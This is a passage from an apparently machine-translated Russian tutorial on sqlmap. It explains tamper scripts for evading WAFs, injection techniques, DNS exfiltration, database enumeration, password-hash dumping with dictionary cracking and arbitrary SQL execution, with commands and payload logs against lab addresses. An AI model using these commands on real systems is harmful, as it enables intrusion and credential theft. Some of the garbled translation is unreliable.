В простой тестовой среде Sqlmap может автоматически обнаружить и завершить внедрение без предоставления настраиваемого граничного диапазона. Однако в реальном мире некоторые приложения могут быть сложными, например, вложенные запросы JOIN. В этом случае вам необходимо указать граничный диапазон. для Sqlmap.

10. Измените введенные данные

Параметры: –тампер

Sqlmap не выполняет никакой обфускации полезных данных, кроме кодирования строки с помощью CHAR(). Этот параметр используется для маскировки полезных данных в обход IPS или WAF. За этим параметром следует имя сценария тампера. Если сценарий тампера расположен в каталоге tamper/ каталога установки sqlmap, вы можете опустить путь и суффикс имени и написать только имя файла. Разделяйте несколько сценариев вмешательства пробелами.

В каталоге tamper/ имеется множество скриптов тампера. Целью сценария взлома является запутывание полезной нагрузки. Мы также можем написать собственный сценарий взлома, который представляет собой расширенное использование Sqlmap. Эффективный сценарий взлома выглядит следующим образом:

Язык кода:javascript
копировать
  # Библиотеки, которые необходимо импортировать
  from lib.core.enums import PRIORITY
  # Определите приоритет этого сценария взлома.
  __priority__ = PRIORITY.NORMAL
  def tamper(payload):
    '''здесь - это описание тампера'''
    retVal = payload
    # здесь код, используемый для изменения полезных данных
    # Вернуть измененную полезную нагрузку
    return retVal

Вот пример, предназначенный для MySQL и предполагающий, что знак «больше», пробелы и ведущие операторы SELECT запрещены:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" \
  --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

Часть вывода этого примера выглядит следующим образом:

Язык кода:javascript
копировать
  [12:55:52] [DEBUG] cleaning up configuration parameters
[12:55:52] [INFO] loading tamper script 'between'
[12:55:52] [INFO] loading tamper script 'randomcase'
[12:55:52] [INFO] loading tamper script 'space2comment'
[...]
[12:55:53] [INFO] testing for SQL injection on GET parameter 'id'
[12:55:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:55:53] [PAYLOAD] 1
[12:55:53] [PAYLOAD] 1)/**/aNd/**/8083=4737/**/aNd/**/(4754/**/BetwEen/**/4754/**/aNd/**/4754
[12:55:53] [PAYLOAD] 1)/**/anD/**/4962=4962/**/anD/**/(2361/**/BeTweEN/**/2361/**/anD/**/2361
[12:55:53] [PAYLOAD] 1/**/aNd/**/9754/**/BETwEEn/**/1206/**/aNd/**/1206
[12:55:53] [PAYLOAD] 1/**/AnD/**/4962/**/beTweEn/**/4962/**/AnD/**/4962
[12:55:53] [PAYLOAD] 1/**/aND/**/2741/**/BetWeEn/**/9323/**/aND/**/9323--/**/Ihsa [12:55:53] [PAYLOAD] 1/**/anD/**/4962/**/BetweEN/**/4962/**/anD/**/4962--/**/wVUI
[12:55:53] [PAYLOAD] 1')/**/anD/**/1694=6061/**/anD/**/('zLwu'='zLwu
[12:55:53] [PAYLOAD] 1')/**/ANd/**/4962=4962/**/ANd/**/('Dsfw'='Dsfw
[12:55:53] [PAYLOAD] 1'/**/aND/**/6307=8901/**/aND/**/'fKLn'='fKLn
[12:55:53] [PAYLOAD] 1'/**/aNd/**/4962=4962/**/aNd/**/'YFsp'='YFsp
[12:55:53] [PAYLOAD] 1%'/**/anD/**/3549=6854/**/anD/**/'%'='
[12:55:53] [PAYLOAD] 1%'/**/aND/**/4962=4962/**/aND/**/'%'='
[...]
[12:55:54] [PAYLOAD] 1)/**/uNIoN/**/alL/**/Select/**/nuLl--/**/NRtq [12:55:54] [PAYLOAD] 1)/**/UnIOn/**/alL/**/sElEcT/**/nuLL,nuLL--/**/jalk
[12:55:54] [PAYLOAD] 1)/**/Union/**/aLl/**/seLeCt/**/nuLL,nuLL,nuLL--/**/ylpg [...]

Если сценарий тампера не добавлен, часть вывода приведенного выше примера будет такой:

Язык кода:javascript
копировать
[...]
[13:00:12] [INFO] testing for SQL injection on GET parameter 'id'
[13:00:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:00:12] [PAYLOAD] 1) AND 9902=5632 AND (5820=5820
[13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (7174=7174
[13:00:12] [PAYLOAD] 1 AND 7140=6136
[13:00:12] [PAYLOAD] 1 AND 6711=6711
[13:00:12] [PAYLOAD] 1 AND 1693=7532-- oqcR
[13:00:12] [PAYLOAD] 1 AND 6711=6711-- qAPJ
[13:00:12] [PAYLOAD] 1') AND 6904=7395 AND ('xBlu'='xBlu
[13:00:12] [PAYLOAD] 1') AND 6711=6711 AND ('RgoX'='RgoX
[13:00:12] [PAYLOAD] 1' AND 6469=7302 AND 'maCj'='maCj
[13:00:12] [PAYLOAD] 1' AND 6711=6711 AND 'pSYg'='pSYg
[13:00:12] [PAYLOAD] 1%' AND 7516=3605 AND '%'='
[13:00:12] [PAYLOAD] 1%' AND 6711=6711 AND '%'='
[...]
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL-- mUDh
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL-- QKId
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL,NULL-- iwvT
[...]

8. Тестирование

1. Уровень обнаружения

Параметры: –уровень

Этот параметр используется для указания уровня обнаружения, который имеет 5 уровней от 1 до 5. По умолчанию установлено значение 1, что означает, что выполняется наименьшее количество обнаружений, и, соответственно, уровень 5 означает, что выполняется наибольшее обнаружение. Полезная нагрузка, используемая Sqlmap, хранится в каталоге xml/payloads/. Она имеет формат xml и может быть настроена. Выдержка из полезной нагрузки выглядит следующим образом:

Язык кода:javascript
копировать
  <test>
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
<stype>1</stype>
<level>2</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [INFERENCE]</vector>
<request>
<payload>AND [RANDNUM]=[RANDNUM]</payload>
<comment>[GENERIC_SQL_COMMENT]</comment>
</request>
<response>
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>

В приведенном выше примере вы можете видеть, что существует тег уровня со значением 2. Эта полезная нагрузка используется, когда уровень обнаружения больше или равен 2. Значение тега риска описано ниже.

Уровень обнаружения будет влиять не только на использование полезной нагрузки, но также всегда будут определяться точки внедрения параметров GET и POST. Когда уровень обнаружения больше или равен 2, он определяет, был ли внедрен файл cookie. Когда уровень обнаружения больше или равен 3, он определяет, были ли внедрены User-Agent и Referer.

Если неясно, где находится точка инъекции, можно установить более высокий уровень обнаружения.

Настоятельно рекомендуется попытаться повысить уровень обнаружения, прежде чем сообщать представителю Sqlmap о том, что явно существующая уязвимость внедрения не может быть обнаружена.

2. Уровень риска

Параметры: –риск

Этот параметр используется для указания уровня риска, который в общей сложности варьируется от 1 до 4. Уровень риска по умолчанию равен 1, что в большинстве случаев безвредно для объекта тестирования. Уровень риска 2 добавляет инъекционное тестирование на основе времени, а уровень 3 добавляет тестирование OR.

Если точка внедрения находится в операторе UPDATE, использование тестирования OR может изменить данные всей таблицы, что явно не то, что хочет видеть злоумышленник. Поэтому пользователи должны иметь возможность контролировать уровень риска и избегать потенциально опасных полезных нагрузок.

3. Сравнение страниц

Параметры: –string, –not-string, –regexp.

По умолчанию Sqlmap определяет True или False, сравнивая возвращаемое содержимое страницы в логической инъекции. Но иногда страница будет меняться каждый раз при ее обновлении, например, если на странице есть динамическая реклама. Sqlmap сделает все возможное, чтобы определить динамические части страницы, но это не всегда удается. Пользователи могут использовать параметр «-string», чтобы указать строку, которую будет содержать страница, представляющая True, но не будет содержать страница, представляющая False, чтобы Sqlmap мог определить, является ли она True или False. Если такая строка изменится, вы также можете использовать параметр «-regexp», чтобы указать регулярное выражение, соответствующее такой строке. Или используйте параметр «-not-string», чтобы указать строку, которую будет содержать страница, представляющая False, но не будет содержать страница, представляющая True.

Параметры: –код

Или, проще говоря, если пользователь знает, что код состояния HTTP страницы, представляющей True, равен 200, а код состояния HTTP страницы, представляющей False, не равен 200, например 401, Вы можете использовать параметр «--code», чтобы сообщить Sqlmap эту информацию, например «--code=200».

Параметры: –titles

Если пользователь знает, что заголовок страницы, представляющий True, отличается от заголовка страницы, представляющего False, Например, заголовок страницы, представляющей истину, — «Добро пожаловать», а заголовок страницы, представляющей ложь, — «Запрещено». Вы можете использовать параметр «-titles», чтобы Sqlmap определял True или False на основе заголовка.

Параметры: –только текст

Если в теле ответа HTTP много активного содержимого, такого как JavaScript, вы можете использовать параметр «-text-only», чтобы позволить Sqlmap сосредоточиться только на текстовом содержимом.

9. Инъекционная технология

Эти параметры используются для настройки определенных методов SQL-инъекций.

1. Технология, используемая при обнаружении

Параметры: –техника

Этот параметр используется для указания метода, используемого при обнаружении инъекции. По умолчанию Sqlmap будет использовать для обнаружения все поддерживаемые технологии. За этим параметром следует заглавная буква, указывающая технологию обнаружения. Его значение — B, E, U, S, T или Q, и его значение следующее:

  • B: Слепой метод на основе логических значений (логическое внедрение)
  • E: на основе ошибок (внедрение отчетов об ошибках)
  • U: на основе запроса объединения (возможно совместное внедрение запроса)
  • S: Составные запросы (возможно внедрение нескольких операторов запроса)
  • T: Слепой по времени (на основе введения временной задержки)
  • Вопрос: Встроенные запросы (внедрение вложенных запросов).

Вы можете использовать «-technique ES», чтобы указать использование двух технологий обнаружения. «--technique BEUSTQ» эквивалентен значению по умолчанию.

Если вы хотите получить доступ к файловой системе или реестру Windows, вы должны добавить «S» для тестирования внедрения многозадачных запросов.

2. Настройка задержки на основе временной задержки.

Параметры: –time-sec

Используйте этот параметр, чтобы установить продолжительность задержки при введении задержки по времени. Значение по умолчанию — 5 секунд.

3. Установка количества столбцов при совместном внедрении запроса

Параметры: –union-cols

При выполнении совместного внедрения запроса Sqlmap автоматически определяет количество столбцов в диапазоне от 1 до 10. Когда значение уровня высокое, верхний предел диапазона обнаружения номера столбца будет расширен до 50.

Вы можете использовать этот параметр, чтобы указать диапазон обнаружения номеров столбцов. Например, «--union-cols 12-16» изменит диапазон обнаружения номеров столбцов Sqlmap с 12 на 16.

4. Настройки символов при совместном внедрении запроса

Параметр: –union-char

По умолчанию Sqlmap использует нулевой символ (NULL) при внедрении запроса на объединение. Но когда значение уровня велико, Sqlmap будет генерировать случайные числа для совместного внедрения запроса. Потому что иногда внедрение с использованием нулевых символов не удастся, но использование случайных чисел будет успешным.

Используйте этот параметр может указывать символы, используемые при внедрении запроса на объединение,нравиться:“–union-char 123”。

Что именно означают «символы, используемые при внедрении запроса на объединение»? Рассмотрим следующие два примера:

В первом примере без "-union-char" символ, используемый при внедрении запроса на объединение, по умолчанию является нулевым символом (NULL):

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3

Часть вывода:

Язык кода:javascript
копировать
  [10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,CONCAT(0x71707a6271,0x66546c7770497458576f6455476761654654745744684c5062585971794c556d55454a6c49525675,0x7162767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a6271,0x6b43674e76687959526b6452627255787373675a6f5a436f7266756d49424547496d506779456170,0x7162767671),NULL,NULL,NULL,NULL,NULL-- caXD

В первом примере используется «--union-char 123», чтобы указать символ, используемый при внедрении запроса на объединение, как «123»:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3 --union-char 123

Часть вывода:

Язык кода:javascript
копировать
  [10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb

Если вы внимательно посмотрите на вывод двух приведенных выше примеров, вы сможете понять, что «символами, используемыми при внедрении запроса на объединение», являются «XXX» в «UNION ALL SELECT XXX, XXX».

5. Настройка имени таблицы при совместном внедрении запроса.

Параметры: –union-from

В некоторых случаях в совместном запросе необходимо указать допустимое и доступное имя таблицы, иначе объединенный запрос не сможет выполниться, например, в Microsoft Access. (То есть некоторые СУБД не поддерживают «SELECT 1,2;» такого оператора, SELECT должен иметь FROM.) Используйте этот параметр, чтобы указать имя таблицы,нравиться:“–union-from=users”。

6. Атака утечки DNS

Параметры: –dns-домен

SQLинъекцияDNSПодробности об атаке утечки см. в статье.《Data Retrieval over DNS in SQL Injection Attacks》

Предположим, что злоумышленник контролирует сервер разрешения доменных имен определенного доменного имени (например, нравиться:attacker.com), то есть IP-адрес, соответствующий субдоменному имени доменного имени, будет запрошен этим сервером разрешения доменных имен. . В это время злоумышленник может использовать «--dns-domain».

Фактически, если злоумышленник не контролирует какой-либо сервер разрешения доменных имен, он может зарегистрировать новое доменное имя, а затем создать сервер разрешения доменных имен для получения данных.

7. Инъекционная атака второго порядка.

Параметры: – второго порядка

Иногда результаты внедрения отображаются на другой странице. В этом случае вам необходимо использовать этот параметр, чтобы указать страницу, на которой отображаются результаты внедрения. За этим параметром следует URL-адрес.

10. Отпечатки пальцев

По умолчанию Sqlmap автоматически выполняет снятие отпечатков пальцев системы управления базами данных на цели внедрения.

Параметры: -f или –fingerprint

Этот параметр можно добавить, если вы хотите выполнить более обширную идентификацию системы управления базами данных.

Параметры: -b или –banner

Если вы хотите получить более точные результаты распознавания отпечатков пальцев, вы можете добавить этот параметр. Подробности см. ниже.

11. Учебник по успешной насильственной активации

1. Имя учебной таблицы успешной насильственной активации.

Параметры: --common-tables

В некоторых случаях использование «--tables» не позволяет вывести имена таблиц в базе данных, нравиться:

  • Версии MySQL ниже 5.0 не имеют таблицы Information_schema.
  • Таблица Microsoft Access MSysObjects по умолчанию недоступна для чтения.
  • У пользователя базы данных слишком низкие разрешения для чтения имени таблицы.

Если имя таблицы невозможно прочитать, вы можете использовать параметр «--common-tables», чтобы принудительно активировать имя таблицы успешного руководства. Словарь, используемый этим параметром, — txt/common-tables.txt, в котором хранятся общие имена таблиц. Этот файл можно редактировать вручную.

2. Список обучающих программ для успешной насильственной активации.

Параметры: --common-columns

В некоторых случаях использование «--columns» не позволяет вывести имена столбцов в таблице данных, нравиться:

  • Версии MySQL ниже 5.0 не имеют таблицы Information_schema.
  • Таблица Microsoft Access MSysObjects по умолчанию недоступна для чтения.
  • У пользователя базы данных слишком низкие права на чтение имен столбцов.

Если имя столбца невозможно прочитать, вы можете использовать параметр «--common-columns», чтобы принудительно активировать имя столбца успешного руководства. Словарь, используемый этим параметром, — txt/common-columns.txt, в котором хранятся общие имена столбцов. Этот файл можно редактировать вручную.

12. Список данных

Эти параметры используются для перечисления информации о системе управления базой данных, структуры данных и содержания данных.

1. Перечислите все данные одним щелчком мыши

Параметры: –все

Используйте этот единственный параметр для перечисления всех доступных данных. Однако это не рекомендуется, поскольку будет отправлено большое количество запросов на перечисление как полезной, так и бесполезной информации.

2. Перечислите информацию о системе управления базой данных.

Параметры: -b или –banner

Большинство современных систем управления базами данных имеют функцию или переменную среды, которая возвращает номер версии и уровень последнего исправления системы управления базами данных, а также базовую информацию об операционной системе. Обычно это функция version(), а переменная среды — @@version. Конечно, это зависит от целевой системы управления базой данных. Используйте параметр «-b» или «--banner», чтобы перечислить эту информацию для системы управления базой данных.

Базой данных в следующем примере является Oracle:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner

Часть вывода:

Язык кода:javascript
копировать
  [09:54:30] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

Базой данных в следующем примере является Mysql:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --banner

Часть вывода:

Язык кода:javascript
копировать
  [09:56:32] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner:    '5.5.50-0ubuntu0.14.04.1'
3. Список текущих пользователей

Параметры: –текущий-пользователь

Используя этот параметр, можно составить список пользователей, выполняющих операторы SQL.

4. Перечислите текущую базу данных

Параметры: –current-db

С помощью этого параметра можно вывести список имен баз данных, к которым подключено веб-приложение.

5. Список имен хостов серверов

Параметры: –хостname

Используя этот параметр, можно указать имя хоста компьютера, на котором расположена система управления базой данных, нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\

hostname

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  [xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386 hostname: 'debian-5.0-i386'
6. Определите, является ли текущий пользователь администратором.

Параметры: –is-dba

Используя этот параметр, можно определить, является ли текущий пользователь администратором.,Возвращает True, если это администратор,В противном случае вернитеFalse。нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba

Часть вывода:

Язык кода:javascript
копировать
  [10:05:16] [INFO] testing if current user is DBA
[10:05:16] [INFO] fetching current user
[10:05:16] [WARNING] reflective value(s) found and filtering out
current user is DBA: True
7. Внесите пользователей в систему управления базой данных.

Параметры: –пользователи

Используйте этот параметр для перечисления пользователей в системе управления базой данных, если у текущего пользователя есть разрешение на чтение системной таблицы, содержащей информацию о пользователе в системе управления базой данных.

8. Перечислите и активируйте хеш-значение пароля пользователя системы управления базой данных в успешном руководстве.

Параметры: –пароли

Если у текущего пользователя есть разрешение на чтение системной таблицы, содержащей хеш-значение пароля пользователя в системе управления базой данных, используйте этот параметр для перечисления хеш-значения пароля пользователя в системе управления базой данных. Sqlmap сначала перечислит пользователей, а затем перечислит хэш-значения паролей пользователей.

Вот пример, ориентированный на PostgreSQL:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

Sqlmap не только выведет список хеша пароля, но также проанализирует формат хэша пароля и спросит пользователя, активировать ли успешное значение хеш-значения учебного пособия через словарь паролей, чтобы найти пароль в виде открытого текста.

Если вы хотите перечислить только пароли определенного пользователя, используйте параметр «-U» для указания пользователя.,«CU» может использоваться для обозначения текущего пользователя.,нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  database management system users password hashes:
[*] root [1]:
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
clear-text password: root
9. Перечислите права пользователя системы управления базой данных.

Параметры: –привилегии

Если текущий пользователь имеет разрешение на чтение системной таблицы, содержащей информацию о пользователе в системе управления базой данных, используйте этот параметр для перечисления разрешений пользователей в системе управления базой данных. Вы можете определить, какие пользователи являются администраторами, с помощью разрешений пользователей.

Если вы хотите перечислить только разрешения конкретного пользователя, используйте параметр «-U» для указания пользователя, а «CU» можно использовать для обозначения текущего пользователя.

Если целью является SQL-сервер Microsoft, этот параметр будет указывать, является ли каждый пользователь администратором, без указания конкретных разрешений каждого пользователя.

10. Перечислите роли пользователей системы управления базой данных.

Параметры: –роли

Если у текущего пользователя есть разрешение на чтение системной таблицы, содержащей информацию о пользователе в системе управления базой данных, используйте этот параметр для перечисления ролей пользователя в системе управления базой данных.

Если вы хотите перечислить только роли определенного пользователя, используйте параметр «-U» для указания пользователя, а «CU» можно использовать для представления текущего пользователя.

В официальном руководстве сказано, что эта функция доступна только в том случае, если целевой системой управления базами данных является Oracle, но я тестировал ее в Mysql, и она также доступна.

11. Перечислите все базы данных в системе управления базами данных.

Параметры: –dbs

Используйте этот параметр для перечисления всех баз данных в системе управления базами данных, если у текущего пользователя есть разрешение на чтение системных таблиц, содержащих информацию о базах данных, доступных в системе управления базами данных.

12. Перечислите все таблицы в базе данных базы данных.

Параметры: –tables, –exclude-sysdbs и -D.

Когда у текущего пользователя есть разрешение на чтение системной таблицы, содержащей информацию о таблице данных в базе данных, доступной в системе управления базой данных, используйте параметр «-tables», чтобы перечислить все таблицы данных в базе данных, указанной с помощью параметра «-D». . Если база данных не указана с параметром «-D»,Используйте только параметры“–tables”Выведет список всех таблиц во всех базах данных。нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables

Используйте параметр «–exclude-sysdbs», чтобы исключить системные базы данных. В Oracle укажите TABLESPACE_NAME вместо имени базы данных.

13. Перечислите все столбцы таблицы данных.

Параметры: –columns, -C, -T и -D

Если разрешения позволяют, используйте параметр «-columns», чтобы перечислить имена и типы данных всех столбцов в таблице, указанной с помощью «-T», в базе данных, указанной с помощью «-D».

Если база данных не указана, по умолчанию будет использоваться текущая база данных. Вы также можете использовать «-C» для указания определенных интересующих столбцов, чтобы вам не приходилось перечислять все столбцы.

Вот пример, ориентированный на SQLite:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type     |
+---------+---------+
| id | INTEGER |
| name | TEXT    |
| surname | TEXT    |
+---------+---------+

В PostgreSQL имя базы данных должно быть «public» или системной таблицей. . Потому что в PostgreSQL можно перечислять только данные в текущей базе данных или системной базе данных, а псевдоним базы данных, подключенный к WEB-приложению, всегда является «публичным».

13. Перечислите модели систем управления базами данных.

Параметры: –schema и –exclude-sysdbs.

Пользователи могут использовать эту опцию для перечисления схемы системы управления базой данных. Список схем содержит все базы данных, таблицы, столбцы, триггеры и их соответствующие типы. Аналогично, системные базы данных можно исключить с помощью параметра «--exclude-sysdbs».

Ниже приведен пример тестового объекта Mysql:

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
[...]
Database: mysql
Table: procs_priv
[8 columns]
+--------------+----------------------------------------+
| Column       | Type                                   |
+--------------+----------------------------------------+
| Timestamp    | timestamp                              |
| User         | char(16)                               |
| Db           | char(64)                               |
| Grantor      | char(77)                               |
| Host         | char(60)                               |
| Proc_priv    | set('Execute','Alter Routine','Grant') |
| Routine_name | char(64)                               |
| Routine_type | enum('FUNCTION','PROCEDURE')           |
+--------------+----------------------------------------+
[...]
Database: mysql
Table: ndb_binlog_index
[7 columns]
+-----------+---------------------+
| Column    | Type                |
+-----------+---------------------+
| Position  | bigint(20) unsigned |
| deletes   | bigint(20) unsigned |
| epoch     | bigint(20) unsigned |
| File      | varchar(255)        |
| inserts   | bigint(20) unsigned |
| schemaops | bigint(20) unsigned |
| updates   | bigint(20) unsigned |
+-----------+---------------------+
15. Укажите количество элементов данных в таблице.

Параметры: –count

Иногда мы просто хотим узнать, сколько данных имеется, не зная конкретного содержимого данных. В этом случае мы можем использовать этот параметр. нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+
16. Занесите данные в таблицу.

Параметры: –dump, -C, -T, -D, –start, –stop и –where.

Данные в таблице можно перечислять, если позволяют разрешения. Используйте параметр «-D» для указания базы данных, параметр «-T» для указания таблицы данных и параметр «-C» для указания целевого столбца. Если указана только таблица данных, но не указана база данных, по умолчанию используется текущая база данных. Если столбец не указан, отображаются все столбцы таблицы.

Следующий пример предназначен для Firebird:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL   | nameisnull |
+---+--------+-------------+

Используйте только параметры «--dump» и «-D», чтобы вывести список всех данных во всей базе данных одновременно.

Sqlmap автоматически сохранит данные, перечисленные в параметре «--dump», в файл формата CSV.,Конкретный путь к файлу будет указан в выводе Sqlmap.,нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -D DSSchool --dump

Часть вывода:

Язык кода:javascript
копировать
  [11:15:27] [INFO] analyzing table dump for possible password hashes
Database: DSSchool
Table: T_SCORESYSTEMTEACHERS
[2 entries]
+-----+----------+-------+---------+----------+
| AGE | NAME     | TITLE | ACCOUNT | PASSWORD |
+-----+----------+-------+---------+----------+
| 21  | neo      | ??    | 001     | 001      |
| 31  | morphine | ??    | 002     | 002      |
+-----+----------+-------+---------+----------+
[11:15:27] [INFO] table 'DSSchool.T_SCORESYSTEMTEACHERS' dumped to CSV file '/home/werner/.sqlmap/output/192.168.56.102/dump/DSSchool/T_SCORESYSTEMTEACHERS.csv'

Последняя строка перехваченного вывода — это путь сохранения файла CSV.

Если вы хотите вывести только часть данных, вы можете использовать параметры «--start» и «--stop». Если вы хотите перечислить только первую часть данных, вы можете добавить «--stop 1». Если вы хотите перечислить только вторую и третью части данных, вы можете добавить «-start 1 -stop 3». Видно, что это интервал, открытый слева и закрытый справа. Диапазоны интервалов допустимы только при слепом внедрении, поскольку они игнорируются при внедрении на основе сообщений об ошибках и внедрении запроса на объединение.

Помимо использования диапазона интервалов для ограничения перечисленных данных, вы также можете использовать параметр «-where» для ограничения перечисленных данных. Параметр «--where» будет преобразован Sqlmap в предложение WHERE, например «--where» id>3”будет перечислять только столбцыidЗначение больше, чем3данные。

Как видите, Sqlmap очень гибок. Вы можете перечислить всю базу данных сразу, а можете подробно выделить столбцы в таблице и выделить в столбцах конкретные данные.

17. Перечислите все данные во всех таблицах всех баз данных.

Параметры: –dump-all и –exclude-sysdbs.

Используйте параметр «--dump-all», чтобы вывести список всех данных во всех таблицах всех баз данных. Аналогично, системные базы данных можно исключить с помощью параметра «--exclude-sysdbs».

Обратите внимание, что главная база данных Microsoft SQL Server не является системной базой данных, поскольку некоторые администраторы хранят данные пользователей в этой базе данных.

18. Поиск по базам данных, таблицам, столбцам

Параметры: –search, -C, -T и -D

Вы можете искать имена баз данных, имена таблиц во всех базах данных и имена столбцов во всех таблицах во всех базах данных.

Параметр «-search» следует использовать с одним из следующих параметров:

  • -C: после названий столбцов, разделенных запятыми, поиск по всей системе управления базой данных.
  • -T: после имен таблиц, разделенных запятыми, поиск по всей системе управления базой данных.
  • -D: за которыми следуют имена библиотек, разделенные запятыми, поиск по всей системе управления базой данных.

При поиске Sqlmap спросит пользователя, следует ли искать точно или включать. По умолчанию используется поиск по включению, то есть, если искомая строка включена в результаты, она считается совпадением. Точный поиск требует, чтобы искомая строка была точно равна результату.

19. Запускайте собственные операторы SQL

Параметры: –sql-query и –sql-shell.

Эта функция позволяет выполнять произвольные операторы SQL. Sqlmap автоматически анализирует данный оператор SQL, выбирает подходящую технологию внедрения и упаковывает данный оператор SQL в полезную нагрузку.

Если запрос представляет собой инструкцию SELECT, Sqlmap вернет результаты запроса. Если система управления базой данных, используемая веб-приложением, поддерживает запросы с несколькими операторами, Sqlmap будет использовать технологию внедрения кучи. Но имейте в виду, что веб-приложения могут не поддерживать запросы к куче. Например, PHP не поддерживает запросы к куче при использовании Mysql, но поддерживает запросы к куче при использовании PostgreSQL.

Следующий пример предназначен для SQL Server 2000:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' [hh:mm:14] [INFO] retrieved: foo SELECT 'foo': 'foo'
Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
